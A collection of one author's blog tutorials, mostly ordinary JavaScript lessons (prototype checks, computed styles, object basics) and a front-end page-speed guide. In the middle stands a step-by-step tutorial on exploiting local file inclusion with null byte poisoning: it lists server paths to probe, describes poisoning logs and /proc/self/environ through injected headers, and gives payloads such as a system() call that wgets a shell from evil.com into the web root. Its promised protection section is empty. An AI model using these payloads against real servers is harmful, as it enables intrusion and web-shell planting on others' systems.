JavaScript HOW TO Verify Function exists in class

Hi, Readers.
Today i will explain how to verify in javascript whether the function/method and property/variable exists in class/object. Continue reading and i will teach how to...

The example(1) class we will work on is:

// class constructor
function Car(color){
   this.color = color;
   this.paint = function(color){
      this.color=color;
   };
}

The Example(2)

var Car = function(color){
   this.color = color;
};

Car.prototype.paint = function(color){
   this.color=color;
};

How to verify if property/variable or function/method exists in class/object in javascript?
for example(1), when function is defined as anonymous, we can use:

var c = new Car('red');
console.assert(true === c.hasOwnProperty('paint'), 'Doesnt exists');
// If you don't receive the 'Doesnt exists' in console, then the method/variable 
// is found, otherwise you will receive "Assertion failed: Doesnt exists"

On example(2) instance we should use a bit different construction.
Lookup in base object (not instance) On example(2) instance we should use a bit different construction.
Lookup in instantiated object

// lets see
c = new Car('red'); // instance
c.paint('blue');
alert(c.color); // alerts 'blue'

console.assert(true === c.hasOwnProperty('paint'), 'Doesnt exists');
console.assert(true === Car.prototype.hasOwnProperty('paint'));

Lookup for method/variable inside instantiated object in javascript

// lets see
c = new Car('red'); // instance
c.paint('blue');
alert(c.color); // alerts 'blue'

//previous try
console.assert(true === c.hasOwnProperty('paint'), 'Doesnt exists');
// new try
console.assert(true === c.__proto__.hasOwnProperty('paint'), 'Doesnt exists');

Why using __proto__ and what is exactly __proto__?
__proto__ is a "secret" reference to creator.

You can notice, that behavior of the method "paint" is as usual class method, it is painted our car to blue, but couldn't be found in class. Interesting?
This happens because it is defined with prototype and it is method of class' prototype that is also object.:)
The structure of the object Car
object Car
   property color
   object prototype/__proto__
      method paint

That is the prototype's behavior.
We will take a deeper look on prototypes and assertion in next articles.

Sincerely, Ruskevych Valentin

JavaScript Element's Style Properties Doesn't Received Bug (Solved!)

There is a problem when the JavaScript does not return the style's properties.
The problem that even when retrieving element by id or class name won't give you it's style properties.
I investigated this situation in deep roots.

// some times this code can be improper.
var x = getElementById('someID');
alert(x.style.backgroundColor);

Previous example may work under many circumstances, but sometimes fails to fulfill required operations.
If we dump the object into the console with

var x = getElementById('someID');
console.log(x.style);
// or even
console.log(x);

When problem appears, you probably won't find anything in the style. The object will show the properties, but the values are blank or null,underfined... anything but not the values we require :)
This is funny bug :)
Another circumstance under which this code will work is if you have typed the style in-line. But we are ninjas, we shouldn't use inline styles.

Javascript element doesn't return styles -> Problem resolution!
It is not a secret that JavaScript contains different ways of retrieving styles, but...
Some of theme working and some of them is not... some works in IE, some doesn't...
I am using next method:

//Usage example:
var _el = document.getElementById('someID');
var _elBGColor = getTheStyle(_el, 'backgroundColor');

function getTheStyle(_elm,_prop){
   var x ='';
   if(window.getComputedStyle){
      x=getComputedStyle(_elm);
   }else{
      x=_elm.currentStyle;
   }
   return x[_prop];
}

This function will satisfy your need.:)
But...
May be slightly improved in case you need all the styles of the element.
Let's we take a look at universal function:

function getTheStyle(_elm){
   if(window.getComputedStyle){
      return getComputedStyle(_elm);
   }else{
      return _elm.currentStyle;
   }
}

This fix is perfectly working retrieving any of previously "blank" style properties.

Sincerely,
Ruskevych Valentin

Other JavaScript Tutorials and How To

How To Verify Function exists in a JavaScript Class
JavaScript OOP Basics
TableSorter Installation a Detailed Tutorial.

JavaScript OOP Basics (Tutorial)

Today i want to explain the JavaScript OOP basics (The basics of Object Oriented JavaScript).

JavaScript OOP, but looks functional language, but in real environment and point of view, it is pure OOP language.
Why JavaScript is an OOP Language?
Let's take a look at usual function

function testFunc(){
   alert('The Test');
}

Seems like normal function isn't it?
Nope, it is method.
In JavaScript all functions and variables is wired up to context, in above example assume we use it without any class context, but function still method of object.
Which object is the context if we defined the function outside any context?
We defined the function in scope of "window", the basic JavaScript object in page.
So the function is accessible also through:

var it_is_variable = 'Test It';

function testFunc(){
   alert('The Test');
}

// call function
window.testFunc();
// alerts "The Test"

// same with variables
alert(window.it_is_variable);
// alerts "Test It"

Function's variables also accessible in an OOP manner, such as:

function jstest(){
   test_var = 'test';
   alert(self.test_var);
}

How to create a JavaScript Object?

var obj = {};

Here we created a blank javascript object by using curly braces.

Adding functionality to an object in JavaScript
Lets create a few properties and methods.

var obj = {}; // the previous code

obj.propertyA = 'test_property'; // adding property

// adding method
obj.getProperty = function(){
   alert(this.propertyA);
}

obj.getProperty(); // alerts the propertyA of class obj

Let's create real environment object.

var car = {
   // properties as object
   dimentions : {
      len : 462,
      width : 190,
      height : 110,
      weight : 1250
   },
   // properties
   tank : 40,
   color : 'red',
   maxSpeed : 220,
   horsePowers : 125,
   _handBrake : true,
   _power : false,
   // Methods
   init : function(){
       if(!this._power)
           this.startEngine();
       
       return this._power;
   },
   startEngine : function(){
       if(true === this._power)
           return true;
       if(true === this._handBrake)
           this.handBreakSwitch();
       this.checkFuel();
       this.powerSwitch();
   },
   refill : function(){
       this.tank = 40;
   },
   handBreakSwitch : function(){
       this._handBreak = (this._handBreak === false ? true : false);
   },
   checkFuel : function(){
       if(this.tank < 5)
           this.refill();
       return true;
   },
   checkEngine : function(){
      if(true === this._power)
         return true;
      else
         this.startEngine();
   },
   powerSwitch : function(){
       this._power = (this._power === false ? true : false);
   },
   paint : function(color){
       this.color = color;
   },
   drive : function(distance,velocity){
       this.checkEngine();
       return (parseInt(distance) / parseInt( this.calcSpeed(velocity) ) ).toFixed(3) + 'sec';
   },
   calcSpeed : function(speed){
       return (speed*1000)/(60*60);
   }
};

// Lets initialize the car
car.init();

// Unfortunately the dimentions of the car and horsepowers are not used in current
// example as far as starting speed (velocity), i won't spend much time on example ;-)

//using car.drive(1230,90) in alert
alert('Time spent to pass distance is ' + car.drive(1230,90));
// Alerts "Time spent to pass distance is 49.200s" 
// so we traveled 1230 meters with speed 90km/h in 49.2sec.

car.paint('blue');
alert('Car painted with ' + car.color + ' color.');

Overriding in effect
Typical overriding is as simple as

var car = {
   init : function(){
      alert('test');
   }
};
// alerts 'test'
car.init();

car.init = function(){
   alert('override in effect');
};

// Alerts "Override in effect"
car.init();​

Javascript class constructor
Class constructor in javascript defines as a function it will also enable you to access to prototype, but... prototypes,inheritance and closures in next articles.

function car(){
   this.init = function(){
      alert('test');
   }
}

// initializes class with constructor
var car = new car;
// alerts 'test'
car.init();

Have fun playing JavaScript's funny oop:)
Sincerely,
Ruskevych Valentin

Other JavaScript Tutorials and How To

How To Verify Function exists in a JavaScript Class
How to get styles of the elements properly in Javascript (Solving the bugs)
TableSorter Installation a Detailed Tutorial.

How to Exploit Local File Inclusion with null byte poisoning tutorial

Today i would like to introduce you into exploiting local file inclusion on remote server using null byte poisoning

LEGAL NOTICE: ALL INFORMATION IN THIS POST COULD NOT BE USED TO EXPLOIT, THE INFORMATION IS PRESENT TO HELP WEB DEVELOPERS (like i am) TO UNDERSTAND THE SIGNIFICANCE OF PROTECTING THEIR APPLICATIONS AGAINST LOCAL FILE INCLUSION AND NULL BYTE POISONING. AGAIN! THE INFORMATION MUST BE USED ONLY IN RIGHT WAY OF ETHICAL HACKING a.k.a WHITE HAT (white hat hacker measuring a security professional)

Table of contents:

1. What is Local File Inclusion

2. What is null byte and null byte poisoning

3. Why using null byte poisoning

4. How to find local file inclusion vulnerability

5. How to find which location we have access to...

6. Preparing your own payload

7. Exploit the local file inclusion vulnerability

8. Get result of exploitation

9. Protection against Local File Inclusion we already told about

10. Other usefull places to look at

Let's we begin:)
1. What is Local File Inclusion Vulnerability

Local File Inclusion - just the name is talking by itself.
This kind of vulnerability allows you to include files located on the subject server ("target") by PHP. In other words you are able to get read access to local files. At this point you may think: "Ah, just a read of files, i will never protect against LFI so..", but no, continue reading and you will get to right point and get the knowledge How Does Servers Gets Hacked

2. What is null byte and null byte poisoning
Null byte is a NULL char, url encoded representation is , char(0) in php.
Null byte representing end of line.
Null byte poisoning is hijacking null byte into unexpected place to cause improper work of program/part of program.


3. Why using null byte poisoning
Using null byte in URL may tell the command that uses that parameter that the line is ended, so improperly escaped variable may allow to break the jail in case used as:

include($_GET['param'].'.php');

In case of using http://target.com/index.php?param=/etc/passwd, we will break the jail and get to /etc/passwd if it is readable for us, otherwise we can trick the system in other ways to get the payload to successful execution and LFI exploitation. :)



4. How to find local file inclusion vulnerability
Usually file inclusion of any type detects by trying a few common strings, you can also use vulnerability scanners that may suggest whether some strange thinks are happens around one of URL parameters. to detect LFI for example in get parameter "page" or similar, that is commonly exploitable, try these:

source page: http://target.com/index.php?page=contact
// we can try next modifications to see whether we have any access
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/access_log
/var/log/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_l og
/usr/local/apache/logs/error.l og
/var/log/apache/error_log
/var/log/apache2/error_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/error_log
/var/log/error.log
/proc/self/
/proc/self/environ
// note: there may be unexpectedly disclosed a remote file inclusion.

Try LFI scanners to simplify and speed up your process of finding local file inclusion. Any kind of encodes can be used, depends on circumstances of code.


5. How to find which location we have access to...
I don't think you need to try it manually, use automation programs, they know a lot. One of these tools is: http://lfimap.googlecode.com/files/lfimap-1.4.3.tar.gz
Also you have LFI scanner in metasploit framework.
Included such places as apache logs, cache, sql logs, processes, etc...
These tools know even more places than these commonly used from part 4.

6. Preparing your own payload
In any of the ways to exploit Local file inclusion we will use code injecting into headers being sent to server.
First if you can access the /proc/self/environ then you can see which headers being shown in there, this is the easiest way to exploit. Just sent header with evil code (php) to the server and you will execute it by showing into browser. payload can be any of the type, whether just echo, system, exec, file_get_contents, etc.
In next example i will show few of commonly used payloads, but sometimes need to be more excited ;)

// First and most commonly used
file_get_contents(remote_shell_url.txt);

// Second widely used
system("wget http://evil.com/myshell.txt -o /var/path/to/www/folder/myshell.php");

// Third is not so common, but used too
system("echo include($_GET['a']); > /tmp/mmmmmmm");

// I once fall on server that denied me to use previous
// As i am PHP coder, i made payload out of cURL that directly saved contents
// of remote file into a local file, this way shell almost always obtained:)
// i also always used the log files handlers, it is better than finding logs on server
// that is not always being found, but handler in most cases found.

7. Exploit the local file inclusion vulnerability
Ok, We sent the evil code into headers to the server, if you being used the Log File handler, you will notice of result directly, just load the fresh shell in browser and wualla!
Almost the same way with logs, assume you determined the header field that is being logged in access log and you found where the access_log is stored...
Inject the header -> LFI the access_log -> executed -> Load shell in browser.
8. Get result of exploitation
It is mentioned in paragraph 7, the final result is you (brain+skill)*time :)
9. Protection against Local File Inclusion we already told about 10. Other usefull places to look at
HTTP Configuration: /proc/self/cmdline
Log Files Handlers: /proc/self/fd/0 (where 0 can be used numbers such as 5-7), i don't really know how much they can be, but always found logs handler up to 20... sometimes it is 2,3,5,6,16,12... Play with it ;-)


Remember, Being Excited makes you unique!


Sincerely, Ruskevych Valentin

Web Front End Optimization a detailed HOW TO (tutorial)

Table of content:

Requirements

1: Gathering required tools

2: Analyze Your Page Speed

3: Page Speed interface tutorial

4: Front End optimization rules also known as Page Load Speed Optimization

5: Explanations

6: Additional Suggestions

REQUIREMENTS:

Broswers: Google Chrome / Mozilla Firefox
Tools:
Chrome -> Google's Page Speed
Firefox -> Firebug + YSlow / Google's Page Speed

I am not a Firefox fun, but Chrome's one and so we will use Chrome in out examples :)
Hope you are familiar with chrome's magic key "F12"=)

1: Gathering required tools
1.1 : Download Google's Chrome at http://Google.com/Chrome/
1.2 : Install Google's Page Speed Insights from Chrome Store

2: Analyze Your Page Speed
2.1 : Load your page in Chrome (ex. http://google.com)
2.2 : When loaded, press "F12" magic key :)
2.3 : Now you see the tab called "Page Speed", the tab is placed after tab "Console", follow to this tab.
2.4 : Press the "Analyze" button at right top corner to Analyze Page Speed
2.5 : Well Done, page speed is determined. Let's explain what is what.

3: Page Speed interface tutorial
3.1 : Top tab containing two buttons, "Refresh" and "Clear".
3.1.1 : "Refresh" button allows you to re-Analyze page speed
3.1.2 : "Clear" button allows you to clear entire results

3.2 : Left part of window is an overview of Rules that done/undone with it's priority (low/medium/high and experimental)
Follow each one to see what they are asking to do to complete the goal, you can click on every rule for basic explanation or "Learn more" inside the rule, to go to detailed explanation in case you don't understand something.

4: Front End optimization rules also known as Page Load Speed Optimization
4.1 : Clean code
4.2 : Optimize download and content (any content included in page, such as css,js,images,etc)
Page speed optimization : Clean the code
Cleaning you code is very basic rule of Front End Optimization, clean code also looks professional and readable.
Take all inline CSS to you external css file, if you don't have one - create it, preferably under directory called "css","styles", or something suggesting that css files located inside.
On you page should be only ids and classes used and not inline css, see next example.

   some content



#id_you_want { display:block;position:relative;height:125px;width:250px; margin-left:20px; }


   some content

Look much better. So now follow all your document and move the styles into css files.
How to decide which one to use the (#) id or the (.) class. ID as rule says, can appear only once at page and javascript lookups by ID is faster than by class.
Class can appear as much time as you wish on page. Class is reusable.

Next step is cleaning inline JavaScripts.
Also take all you inline script like:

Move the script's inner content to separate file for further in page inclusion.
For example, you can create scripts.js file and store there all the common scripting pieces and another one called libs.js or libraries.js to store libraries used on all/most of pages.

TableLess HTML
Why using table less HTML ?
The answer is very simple, it is common for modern pages, easy and light weight. In total when you understand good Box Model you will see, that it is much easier to create tableless markup than tabled. BUT! Remember, tabled data should remain tabled.

4.2: FontEnd Optimization - Minimize downloads
We assume you already have a clean code.
Amount of external content downloads directly impact the page loading speed
Reasons of impact:
Amount of downloads, size of external content, ping to external resources, caching, loading way.

Why This Happens:
Exact reason of impact hides in visitor's browser. Every browser maintains it's own number of allowed concurrent connections to host and total concurrent connections.
This says if IE6(as today 0.6% of total users is nothing, but...) and IE7(1.9% users) allows 2 parallel connections to host, this says if you had 4 js, 2 css and 12 images (in css), browser should download all the content is html+18 files = 19 in total.
Quick calculation with latency 120ms can give us minimal page loading speed of 960ms (not included downloads times of content, that can be various). 1.080s, lets threat it as allowable.
Now we include the download of background (ex. image of 200kb optimized) and it's download time is 0.4s (400ms), page loading time becomes 1.5sec.
Too bad, we have to load 18 more files. Included JS libraries that can be "huge" as of web metrics of sizes. jQuery 150kb, various scripts (50kb), css 10kb, images for total of 500kb.
Lets calculate! Latency 120ms * 8 = 960ms + 120ms = 1.080s, js download time 0.220s, css 0.09s, images 0.8s in total we have page loading time 1.080+0.22+0.09+0.8= 2.2s.
Check browser concurrent connections amount at Browser Scope
Seems good? - Can be even faster! continue to read and i will teach how to...

Problem Solve:
Put all css in same file, for example user part in one css file, admin part for admin control panel in another. Just because there is no reason to load both styles to user in case the visitor will never see the admin control panel and so never use classes and/or ids from css file.

Put all JS into one or 2 files, for example scripts.js will contain all of inline scripting from the page and libs.js to store our libraries used on page. In case of using jquery or another famous libraries, prefered way to load directly from google. Benefits of this way i have already explained in separated article, you can read it here - Why using jQuery from Google Ajax API

Minimize image sizes: test various options in "Save for web" in Photoshop, try png8,png24,gif,jpeg. Watch for same quality but smallest image size.
Reduce Amount of Images:
Should you remove images from page and the page will become ugly? No! That is not the way of true front end ninjas:)
You should take All the images used in most of pages, such as back grounds, logos, footer icons, menu bullets, etc., and make one sprite so that you will receive one image and then maintain it's placements within CSS (background-position is a powerful method).
Minify Javascripts and CSS:
If you have the option to use minified libraries, definitely USE IT ! otherwise just minify the JS and CSS, nowadays there is a lot of resources online that can offer such service for free, Google It!
Compression for page speed:
In additional to reducing size of images, minifying JS and CSS, making sprites to reduce amount of images, we need to implement caching to reduce the size of contents even more.
GZIP compression: Nowadays everybrowser supports GZIPed content. Browser receives GZiped content from server and maintaining to render the page. I will not get deep inside the Gzip compression, but basic for our needs is here. GZip reduces contents weight for about 60-70% on the server and then content being Xfered to client(browser), not that bad at all.
GZip compression can be enabled on Web Server level (Apache,Nginx,IIS,LightHTTPD) or Server Side Language such as PHP/Perl.
Minify HTML
It is suggested to minify HTML, but care to save the source file separately, so you always can work on source (formatted properly), and then minify him and replace the previous. This may not save a lot of traffic, but pagespeed will rank you better.
Defer Javascript Parsing
Parsing Javascripts asynchronously, to not cause the browser to wait.
Why and how browser rendering javascript
Browser first scans all javascripts to see whether there present things such as redirects, etc., that can change browser behavior during page loading. To parse JS browser should download them and is blocking the page load. In-line javascripts executes in-line. Suggested way to load
I can suggest loading javascripts as google and facebook do... however this way not always works, test it before implementing on production servers.
In my example i use google's way as they also determine the protocol.

(function() {
    var scr = document.createElement('script'); 
    scr.type = 'text/javascript'; ga.async = true;
    scr.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.script-host.com/host.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(scr, s);
  })();

Avoid using @import in css
Avoid using @import rules in CSS, oherwise you will rank down by pagespeed insights.
Avoid bad requests
Keep in eye on the contents you load, don't allow broken links, not existed images, etc.
Correct order of javascript and css files
Stick to correct loading order of css and javascript.
Load CSS first, then javascript files. That is the right order.
Use properly sized image
This means do not use the images for example 100px X 100px, when you need it to be 20px X 25px, etc. This will save you a lot of traffic.
Specify Content Encoding
Specify server side content encoding rather than defining in HTML.
PHP Example

Sincerely, Valentin Ruskevych